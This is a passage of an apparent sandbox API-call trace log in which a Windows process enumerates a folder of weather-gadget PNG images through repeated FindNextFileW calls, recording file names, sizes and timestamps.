ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3032, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0081.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87715a6e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87715a6e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="alertIcon.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87572b6f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87572b6f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcde, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875bee29, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875bee29, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_down_BIDI.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87598ccc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87598ccc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_over.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87598ccc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87598ccc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af07c7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_close_up.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875e4f86, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875e4f86, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af2dddd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87631240, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87631240, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af7a099, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_down_BIDI.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8760b0e3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8760b0e3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2af7a099, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xde7, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8767d4fa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8767d4fa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_over_BIDI.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875e4f86, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875e4f86, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn_search_up_BIDI.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876ef911, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876ef911, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afc6355, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-horizontal.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876ef911, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876ef911, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afc6355, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xafd, dwReserved0=0x0, dwReserved1=0x0, cFileName="divider-vertical.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2261, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked-loading.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870affcf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870affcf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x274e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_cloudy.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870affcf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870affcf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afec4b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2685, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_few-showers.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2930, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_foggy.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2e6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_hail.png", cAlternateFileName="")) returned 1 [0081.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871223e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871223e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87148543, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87148543, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b03876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ace, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87148543, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87148543, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b03876f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2264, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8716e6a0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8716e6a0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b05e8cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871947fd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871947fd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b084a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871947fd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871947fd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b084a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871ba95a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871ba95a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0aab89, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x251a, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871ba95a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x871ba95a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0d0ce7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8722cd71, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8722cd71, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b0f6e45, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2334, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8722cd71, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8722cd71, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b11cfa3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c73, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87252ece, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87252ece, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b143101, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87252ece, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87252ece, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b16925f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b35, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8729f188, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8729f188, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b3f099d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x22a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872c52e5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x872c52e5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b462db7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872eb442, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x872eb442, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b75c90f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2203, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731159f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8731159f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b81afe5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873376fc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873376fc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b94bad5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3173, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_rainy.png", cAlternateFileName="")) returned 1 [0081.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735d859, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8735d859, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b9e404d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3369, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_snow.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735d859, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8735d859, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ba56467, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2fcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873839b6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873839b6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3229, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_black_windy.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a9b13, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873a9b13, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x21a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873cfc70, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873cfc70, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_snow.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873cfc70, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873cfc70, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c238cdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_sun.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8741bf2a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8741bf2a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c238cdd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_blue_windy.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87442087, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87442087, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c3697cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2929, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874681e4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x874681e4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c5cadad, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x29d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748e341, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8748e341, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c5f0f0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x273c, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_foggy.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874da5fb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x874da5fb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c663325, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3071, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_hail.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW 